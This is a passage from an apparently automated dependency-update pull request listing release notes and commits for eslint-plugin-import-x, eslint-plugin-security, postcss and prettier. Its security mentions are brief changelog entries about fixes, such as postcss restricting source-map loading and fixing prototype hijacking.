\u003ccode\u003evitest/config\u003c/code\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.17.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/474\"\u003e#474\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/4b2c0c50577ba5b38823fb6d2b1f7e0e2cb9b760\"\u003e\u003ccode\u003e4b2c0c5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/regseb\"\u003e\u003ccode\u003e@​regseb\u003c/code\u003e\u003c/a\u003e! - Support \u003ccode\u003eRegExp\u003c/code\u003e in the \u003ccode\u003eimport-x/ignore\u003c/code\u003e setting and the \u003ccode\u003eignore\u003c/code\u003e option of the \u003ccode\u003eno-unresolved\u003c/code\u003e rule.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/494\"\u003e#494\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/1c84235057e693f107352b2874c5e9bc6d974e75\"\u003e\u003ccode\u003e1c84235\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/morgan-coded\"\u003e\u003ccode\u003e@​morgan-coded\u003c/code\u003e\u003c/a\u003e! - Fixed \u003ccode\u003eno-unresolved\u003c/code\u003e crashing when case-sensitive path checks encounter \u003ccode\u003eEACCES\u003c/code\u003e or \u003ccode\u003eEPERM\u003c/code\u003e on an ancestor directory.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/481\"\u003e#481\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/3e131214f1a027858ce87d146576b243f6acad0c\"\u003e\u003ccode\u003e3e13121\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/B4nan\"\u003e\u003ccode\u003e@​B4nan\u003c/code\u003e\u003c/a\u003e! - fix: memoize legacyNodeResolve resolver to avoid native memory leak\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/484\"\u003e#484\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/9a070094ac6e3c5891762acebe882281b022501d\"\u003e\u003ccode\u003e9a07009\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/sairus2k\"\u003e\u003ccode\u003e@​sairus2k\u003c/code\u003e\u003c/a\u003e! - Make the \u003ccode\u003eextensions\u003c/code\u003e rule check Node.js subpath imports (specifiers starting with \u003ccode\u003e#\u003c/code\u003e, e.g. \u003ccode\u003e#utils/helper\u003c/code\u003e). Previously \u003ccode\u003eparsePath\u003c/code\u003e treated a leading \u003ccode\u003e#\u003c/code\u003e as a URL hash fragment, so the rule skipped extension validation for these imports.\u003c/p\u003e\n\u003cp\u003eNote: single-segment subpath imports without a slash (e.g. \u003ccode\u003e#dep\u003c/code\u003e) are still skipped by the existing external-root-module classification; fixing that is deferred to avoid expanding scope.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/468\"\u003e#468\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/240ed58cb3d699c5107af065d8482a5c902a2f95\"\u003e\u003ccode\u003e240ed58\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/silverwind\"\u003e\u003ccode\u003e@​silverwind\u003c/code\u003e\u003c/a\u003e! - Make \u003ccode\u003eextensions\u003c/code\u003e handle \u003ccode\u003e.d.ts\u003c/code\u003e correctly\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/479\"\u003e#479\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/e3cc7e458fe8440fdac291beba9f09ab216ec682\"\u003e\u003ccode\u003ee3cc7e4\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e! - fix: strip querystrings and hash fragments when checking for file existence\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/476\"\u003e#476\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/fce29b1bb7c1f57f18beb5f0ac5636b14ab848dc\"\u003e\u003ccode\u003efce29b1\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/nbouvrette\"\u003e\u003ccode\u003e@​nbouvrette\u003c/code\u003e\u003c/a\u003e! - fix(deps): replace \u003ccode\u003e@​package-json/types\u003c/code\u003e with an inline minimal type\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/b767b8c16cae017ac7b092a161684e31b262e5ae\"\u003e\u003ccode\u003eb767b8c\u003c/code\u003e\u003c/a\u003e chore: release eslint-plugin-import-x (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/499\"\u003e#499\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/cf25a01c08d75449aeae6c6b4ee2e2c9af774462\"\u003e\u003ccode\u003ecf25a01\u003c/code\u003e\u003c/a\u003e fix(extensions): don't require extension for package subpaths resolving to .d...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/b543300ff8e9861fc2cc693bfd55cf3e18a2e01a\"\u003e\u003ccode\u003eb543300\u003c/code\u003e\u003c/a\u003e docs: document the \u003ccode\u003eesmodule\u003c/code\u003e option for \u003ccode\u003eno-dynamic-require\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/496\"\u003e#496\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/7578513a194ce4c05cce6ac520efa00b7adc249f\"\u003e\u003ccode\u003e7578513\u003c/code\u003e\u003c/a\u003e chore: release eslint-plugin-import-x (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/472\"\u003e#472\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/e3cc7e458fe8440fdac291beba9f09ab216ec682\"\u003e\u003ccode\u003ee3cc7e4\u003c/code\u003e\u003c/a\u003e fix: strip querystrings and hash fragments when checking for file existence (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/9a070094ac6e3c5891762acebe882281b022501d\"\u003e\u003ccode\u003e9a07009\u003c/code\u003e\u003c/a\u003e fix: make \u003ccode\u003eextensions\u003c/code\u003e rule check Node.js subpath imports (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/484\"\u003e#484\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/3e131214f1a027858ce87d146576b243f6acad0c\"\u003e\u003ccode\u003e3e13121\u003c/code\u003e\u003c/a\u003e fix: memoize legacyNodeResolve resolver to avoid native memory leak (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/481\"\u003e#481\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/fce29b1bb7c1f57f18beb5f0ac5636b14ab848dc\"\u003e\u003ccode\u003efce29b1\u003c/code\u003e\u003c/a\u003e fix(deps): replace \u003ccode\u003e@​package-json/types\u003c/code\u003e with an inline minimal type (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/476\"\u003e#476\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/1c84235057e693f107352b2874c5e9bc6d974e75\"\u003e\u003ccode\u003e1c84235\u003c/code\u003e\u003c/a\u003e fix: handle access errors during case checks (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/494\"\u003e#494\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/96222bf429d083213eededbfea9a1eaade1c4ba5\"\u003e\u003ccode\u003e96222bf\u003c/code\u003e\u003c/a\u003e chore: drop unused \u003ccode\u003etmp\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/487\"\u003e#487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/compare/v4.16.2...v4.17.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-plugin-security` from 4.0.0 to 4.0.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/releases\"\u003eeslint-plugin-security's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eeslint-plugin-security: v4.0.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/compare/eslint-plugin-security-v4.0.0...eslint-plugin-security-v4.0.1\"\u003e4.0.1\u003c/a\u003e (2026-06-12)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003etreat import.meta.dirname and import.meta.filename as static (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/200\"\u003e#200\u003c/a\u003e) (\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/74c97bb3326a6b4fe4718b2638bb3b0492cb90fd\"\u003e74c97bb\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/blob/main/CHANGELOG.md\"\u003eeslint-plugin-security's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/compare/eslint-plugin-security-v4.0.0...eslint-plugin-security-v4.0.1\"\u003e4.0.1\u003c/a\u003e (2026-06-12)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003etreat import.meta.dirname and import.meta.filename as static (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/200\"\u003e#200\u003c/a\u003e) (\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/74c97bb3326a6b4fe4718b2638bb3b0492cb90fd\"\u003e74c97bb\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/cb8645c3150a52eb400ba08d83fb53528797b652\"\u003e\u003ccode\u003ecb8645c\u003c/code\u003e\u003c/a\u003e chore: release 4.0.1 🚀 (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/204\"\u003e#204\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/74c97bb3326a6b4fe4718b2638bb3b0492cb90fd\"\u003e\u003ccode\u003e74c97bb\u003c/code\u003e\u003c/a\u003e fix: treat import.meta.dirname and import.meta.filename as static (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/200\"\u003e#200\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/0b45f8277b8018377c3716358faafaa70b474c2c\"\u003e\u003ccode\u003e0b45f82\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump shell-quote from 1.7.4 to 1.8.4 (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/202\"\u003e#202\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/954149ae507c95a1f6d61c43bfd4601143083138\"\u003e\u003ccode\u003e954149a\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump handlebars from 4.7.7 to 4.7.9 (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/198\"\u003e#198\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/d5012b6b10419c9a3280d094ce10aa944a2b7812\"\u003e\u003ccode\u003ed5012b6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump picomatch from 2.3.1 to 2.3.2 (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/197\"\u003e#197\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/b53d8b45ebe16c9ce778c25a8cf68a71749e0a78\"\u003e\u003ccode\u003eb53d8b4\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump flatted from 3.3.1 to 3.4.2 (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/196\"\u003e#196\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/7876750bfa33eb29285adb7b0af7e5c70838568e\"\u003e\u003ccode\u003e7876750\u003c/code\u003e\u003c/a\u003e chore(deps): bump minimatch (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/194\"\u003e#194\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/compare/eslint-plugin-security-v4.0.0...eslint-plugin-security-v4.0.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.15 to 8.5.19\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.15...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for postcss since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.8.4 to 3.9.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.5\u003c/h2\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.5/CHANGELOG.md#395\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular: Format \u003ccode\u003e@content(name)\u003c/code\u003e -\u0026gt; \u003ccode\u003e@content (name)\u003c/code\u003e to align with other block syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19499\"\u003e#19499\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.4/CHANGELOG.md#394\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix unexpected removal of characters in liquid syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19489\"\u003eprettier/prettier#19489\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTypeScript: Allow decorators to be used with declare on class fields (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19492\"\u003eprettier/prettier#19492\u003c/a\u003e by \u003ca href=\"https://github.com/evoactivity\"\u003e\u003ccode\u003e@​evoactivity\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.3/CHANGELOG.md#393\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCLI: Fix ignored file has been cached incorrectly (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19483\"\u003e#19483\u003c/a\u003e by \u003ca href=\"https://github.com/kovsu\"\u003e\u003ccode\u003e@​kovsu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.1/CHANGELOG.md#391\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.8.5...3.9.0\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://prettier.io/blog/2026/06/27/3.9.0\"\u003ePrettier 3.9: Major parser upgrades and Formatting improvements\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix Flow variance annotation print (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19022\"\u003e#19022\u003c/a\u003e by \u003ca href=\"https://github.com/marcoww6\"\u003e\u003ccode\u003e@​marcoww6\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.5/CHANGELOG.md#385\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.5\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.4...3.9.5\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Cap ordered list mark at 999,999,999 (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19351\"\u003e#19351\u003c/a\u003e by \u003ca href=\"https://github.com/tats-u\"\u003e\u003ccode\u003e@​tats-u\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eCommonMark parsers only support ordered list item numbers up to 999,999,999.\u003c/p\u003e\n\u003cp\u003eWith this change, Prettier now caps the ordered list item number at 999,999,999 to ensure that the output is correctly parsed as an ordered list by CommonMark parsers. Numbers larger than 999,999,999 are not parsed as list item numbers and are left unchanged in the 